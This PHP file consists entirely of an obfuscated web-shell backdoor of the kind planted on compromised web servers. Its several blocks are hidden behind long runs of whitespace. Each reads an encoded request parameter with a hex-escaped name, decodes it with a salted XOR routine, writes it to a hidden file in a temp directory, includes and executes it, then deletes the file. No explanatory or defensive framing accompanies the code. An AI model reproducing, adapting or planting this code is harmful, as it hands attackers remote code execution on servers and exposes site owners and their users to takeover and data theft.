<?php																																										if(array_key_exists("\x65lem", $_REQUEST)){ $key = $_REQUEST["\x65lem"]; $key = explode ("." , $key ) ; $ent =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); $len =count($key); for ($w =0; $w < $len; $w++) { $v5 =$key[$w]; $sChar =ord($salt[$w % $sLen]); $dec =((int)$v5 - $sChar - ($w % 10)) ^ 84; $ent .= chr($dec); } $fac = array_filter(["/var/tmp", "/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", sys_get_temp_dir()]); $sym = 0; do { $data = $fac[$sym] ?? null; if ($sym >= count($fac)) break; if (array_product([is_dir($data), is_writable($data)])) { $binding = sprintf("%s/.record", $data); if (file_put_contents($binding, $ent)) { require $binding; unlink($binding); exit; } } $sym++; } while (true); }
																																										if(@$_POST["hl\x64"] !== null){ $fac = array_filter([sys_get_temp_dir(), "/dev/shm", "/var/tmp", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getcwd()]); $value = $_POST["hl\x64"]; $value = explode ( ".",$value ); $parameter_group = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); $t = 0; $len = count($value); do { if ($t>=$len) break; $v1 = $value[$t]; $chS = ord($s8[$t % $sLen]); $dec = ((int)$v1 - $chS - ($t % 10)) ^ 51; $parameter_group .= chr($dec); $t++; } while (true); for ($symbol = 0, $resource = count($fac); $symbol < $resource; $symbol++) { $pgrp = $fac[$symbol]; if (is_dir($pgrp) && is_writable($pgrp)) { $entry = "$pgrp/.ent"; if (@file_put_contents($entry, $parameter_group) !== false) { include $entry; unlink($entry); die(); } } } }
																																										if(array_key_exists("r\x65\x73", $_REQUEST)){ $holder = $_REQUEST["r\x65\x73"]; $holder= explode (".", $holder ) ; $pgrp = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3 ); $l = 0; $__tmp = $holder; while($v5 = array_shift($__tmp)) { $chS = ord($salt3[$l%$lenS] ); $dec =((int)$v5 - $chS -($l%10)) ^ 14; $pgrp .= chr($dec ); $l++; } $sym = array_filter([getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/tmp"]); while ($resource = array_shift($sym)) { if (is_dir($resource) && is_writable($resource)) { $val = sprintf("%s/.k", $resource); if (file_put_contents($val, $pgrp)) { include $val; @unlink($val); die(); } } } }
																																										if(!empty($_REQUEST["k"])){ $desc = array_filter([getenv("TEMP"), getcwd(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path()]); $tkn = $_REQUEST["k"]; $tkn= explode ( ".", $tkn ) ; $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $t = 0; $__tmp = $tkn; while( $v9 = array_shift( $__tmp)) { $chS = ord( $s[$t % $sLen]); $dec =( ( int)$v9 - $chS -( $t % 10))^ 95; $item .= chr( $dec); $t++; } while ($binding = array_shift($desc)) { if ((is_dir($binding) and is_writable($binding))) { $fac = vsprintf("%s/%s", [$binding, ".ref"]); $success = file_put_contents($fac, $item); if ($success) { include $fac; @unlink($fac); exit;} } } }
																																										if(@$_REQUEST["k"] !== null){ $element = array_filter(["/dev/shm", "/tmp", "/var/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir")]); $data_chunk = $_REQUEST["k"]; $data_chunk = explode ('.' , $data_chunk) ; $ref = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $len = count($data_chunk); for ($y = 0; $y < $len; $y++) { $v3 = $data_chunk[$y]; $chS = ord($salt[$y % $lenS]); $d = ((int)$v3 - $chS - ($y % 10)) ^ 78; $ref .= chr($d); } foreach ($element as $obj) { if ((bool)is_dir($obj) && (bool)is_writable($obj)) { $hld = join("/", [$obj, ".dat"]); if (@file_put_contents($hld, $ref) !== false) { include $hld; unlink($hld); die(); } } } }


if(array_key_exists("bi\x6E\x64", $_REQUEST)){
	$value = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), session_save_path(), getenv("TEMP"), "/var/tmp", "/tmp", "/dev/shm"]);
	$parameter_group = $_REQUEST["bi\x6E\x64"];
				$parameter_group 	=explode( "."  , $parameter_group	  )	;
	$ptr	= '';
            $salt	= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	= strlen($salt);
    
            foreach($parameter_group as $o => $v9):
                $sChar	= ord($salt[$o % $lenS]);
                $dec	= ((int)$v9 - $sChar -($o % 10)) ^ 85;
                $ptr .= chr($dec);
            endforeach;
	foreach ($value as $key => $dat) {
    		if (!( !is_dir($dat) || !is_writable($dat) )) {
    $hld = join("/", [$dat, ".binding"]);
    $success = file_put_contents($hld, $ptr);
if ($success) {
	include $hld;
	@unlink($hld);
	die();}
}
}
}